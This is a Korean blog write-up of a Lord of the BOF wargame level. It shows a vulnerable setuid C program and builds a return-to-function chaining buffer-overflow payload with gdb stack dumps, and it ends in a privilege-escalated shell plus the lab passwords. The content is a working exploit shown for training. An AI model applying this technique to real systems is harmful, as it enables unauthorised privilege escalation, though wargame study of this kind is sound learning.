[해커스쿨 LOB] Level17: Zombie Assassin >> Succubus

두비니

·

2020. 8. 30. 09:56

 


Level 17. Zombie Assassin >> Succubus

Theme: calling functions continuously


login

id : zombie_assassin
pw : no place to hide

 

bash2 & 코드확인

[zombie_assassin@localhost zombie_assassin]$ bash2
[zombie_assassin@localhost zombie_assassin]$ cat succubus.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - succubus
        - calling functions continuously
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

// the inspector
int check = 0;

void MO(char *cmd)
{
        if(check != 4)
                exit(0);

        printf("welcome to the MO!\n");

        // olleh!
        system(cmd);
}

void YUT(void)
{
        if(check != 3)
                exit(0);

        printf("welcome to the YUT!\n");
        check = 4;
}

void GUL(void)
{
        if(check != 2)
                exit(0);

        printf("welcome to the GUL!\n");
        check = 3;
}

void GYE(void)
{
        if(check != 1)
                exit(0);

        printf("welcome to the GYE!\n");
        check = 2;
}

void DO(void)
{
        printf("welcome to the DO!\n");
        check = 1;
}

main(int argc, char *argv[])
{
        char buffer[40];
        char *addr;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // you cannot use library
        if(strchr(argv[1], '\x40')){
                printf("You cannot use library\n");
                exit(0);
        }

        // check address
        addr = (char *)&DO;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with DO\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // stack destroyer
        // 100 : extra space for copied argv[1]
        memset(buffer, 0, 44);
        memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));

        // LD_* eraser
        // 40 : extra space for memset function
        memset(buffer-3000, 0, 3000-40);
}

 

코드가 다른 것들보단 기네요. 

 

제한조건

1. 매개변수 최소 1개 넘겨주기 (argv error)

2. library영역 사용불가 (you cannot use library)

3. ret부분은 무조건 DO의 주소 (you must fall in love with DO)

4. ret영역과 그 뒤를 제외한 stack 사용 불가능 (stack destroyer)

5. LD_* 환경변수 사용 불가능 (LD_* eraser)

 

 

 

이 문제는 문제의 힌트에서 언급한 바와 같이 rtl chaining을 해야합니다.

모르는 사람들은 글을 읽고 옵시다.

https://d4m0n.tistory.com/80

 

RTL Chaining

RTL Chaining이란? 지난 글에서는 RTL(Return-to-libc)에 대해서 다루었는데, 이번 글에서는 그 연장선인 RTL Chaining에 대해 알아볼 것이다. RTL Chaining이란 RTL 기법을 응용하여 라이브러리 함수의 호출을 연

d4m0n.tistory.com

 

그럼 구할건 다음과 같습니다.

1. 도개걸윷모 함수 주소

2. /bin/sh 주소

 

1. 도개걸윷모 함수 주소

 

원래 함수는 info func로 알아낼 수 있습니다. 근데 직접 해보면 없는데, 이런 경우에는 nm (파일명)으로 확인해주면 됩니다.

[zombie_assassin@localhost zombie_assassin]$ nm succubus
080487ec T DO
0804878c T GUL
080487bc T GYE
08048724 T MO
0804875c T YUT
08049ae4 ? _DYNAMIC
08049aa8 ? _GLOBAL_OFFSET_TABLE_
08048984 R _IO_stdin_used
....(생략)

 

DO : 0x080487ec

GYE : 0x080487bc

GUL : 0x0804878c

YUT : 0x0804875c

MO : 0x08048724

 

2. /bin/sh의 주소

이건 직접 구해봐야겠죠? breakpoint는 strncpy 직후에 잡았습니다.

(gdb) b * main+170
Breakpoint 1 at 0x80488b2
(gdb) r `python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "AAAA" + "\xbf\xbf\xbf\xbf" +"/bin/sh\x00"'`
Starting program: /home/zombie_assassin/succubul `python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "AAAA" + "\xbf\xbf\xbf\xbf" +"/bin/sh\x00"'`

Breakpoint 1, 0x80488b2 in main ()
(gdb) x/100x $esp
0xbffffa44:     0xbffffa50      0xbffffbde      0x080487ec      0x41414141
0xbffffa54:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa64:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa74:     0x41414141      0x41414141      0x080487ec      0x080487bc
0xbffffa84:     0x0804878c      0x0804875c      0x08048724      0x41414141
0xbffffa94:     0xbfbfbfbf      0x6e69622f      0x0068732f      0x08048808
0xbffffaa4:     0x00000002      0xbffffac4      0x0804839c      0x0804894c
0xbffffab4:     0x4000ae60      0xbffffabc      0x40013e90      0x00000002
0xbffffac4:     0xbffffbbf      0xbffffbde      0x00000000      0xbffffc2e
0xbffffad4:     0xbffffc50      0xbffffc5a      0xbffffc68      0xbffffc87
0xbffffae4:     0xbffffc9f      0xbffffcb8      0xbffffcdd      0xbffffcfc
0xbffffaf4:     0xbffffd07      0xbffffd15      0xbffffd60      0xbffffd7b
0xbffffb04:     0xbffffd90      0xbffffda0      0xbffffdb5      0xbffffddc
0xbffffb14:     0xbffffde7      0xbffffdf8      0xbffffe12      0xbffffe1a
0xbffffb24:     0x00000000      0x00000003      0x08048034      0x00000004

/bin/sh주소는 0xbffffa98로 잡히네요.

 

그럼 페이로드는 다음과 같이 짤 수 있습니다.

대신 각 함수에서 check변수로 값을 확인하기때문에 도 > 개 > 걸 > 윷 > 모 순서대로 rtl chaining을 해주어야 합니다. 그리고 함수 MO에서는 cmd창을 실행시켜주기 때문에 /bin/sh를 마지막으로 인자로 넘겨주면 

 

::최종 페이로드::

 

Dummy[44] + DO의 주소[4] + GYE의 주소[4] + GUL의 주소[4] + YUT의 주소[4] + MO의 주소[4] + Dummy[4] + "/bin/sh"의 주소[4] + "/bin/sh\x00"

 

`python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "AAAA" + "\x98\xfa\xff\xbf" + "/bin/sh"'`

 

 

페이로드를 보내봅시다.

[zombie_assassin@localhost zombie_assassin]$ ./succubul `python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "AAAA" + "\x98\xfa\xff\xbf" + "/bin/sh"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒\$AAAA▒▒▒▒/bin/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
Segmentation fault (core dumped)

MO까지 잘 실행된 것을 봐서 /bin/sh의 주소가 잘못되었나봅니다.

 

 

(gdb) x/100x 0xbffffa98-0x100
0xbffff998:     0xbffff768      0x400081e6      0x40029ad5      0x40029ad5
0xbffff9a8:     0x40013868      0x400143e0      0x00006805      0x00000000
0xbffff9b8:     0x00000000      0x00000000      0x00000000      0x00000000
...(생략)
0xbffffa58:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffa68:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffa78:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffa88:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffa98:     0x00000000      0x40013ed0      0xbffffaac      0x08048756
0xbffffaa8:     0xbffffa98      0x00000000      0x41414141      0xbffffa98
0xbffffab8:     0x6e69622f      0x0068732f      0x08048808      0x00000002
0xbffffac8:     0xbffffae4      0x0804839c      0x0804894c      0x4000ae60
0xbffffad8:     0xbffffadc      0x40013e90      0x00000002      0xbffffbda
0xbffffae8:     0xbffffbe5      0x00000000      0xbffffc35      0xbffffc4f

 

그냥 $esp로 찾으니 값들을 찾을 수가 없어서 기존의 /bin/sh의 주소 주변을 보았습니다. 보아하니 0xbffffab8로 잡혀있네요. 값을 수정한 뒤 다시 해보겠습니다.

 

[zombie_assassin@localhost zombie_assassin]$ ./succubus `python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "AAAA" + "\xb8\xfa\xff\xbf" + "/bin/sh"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒\$AAAA▒▒▒▒/bin/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
bash$ id
uid=516(zombie_assassin) gid=516(zombie_assassin) euid=517(succubus) egid=517(succubus) groups=516(zombie_assassin)
bash$ my-pass
euid = 517
here to stay

 

잘 되네요. 다음!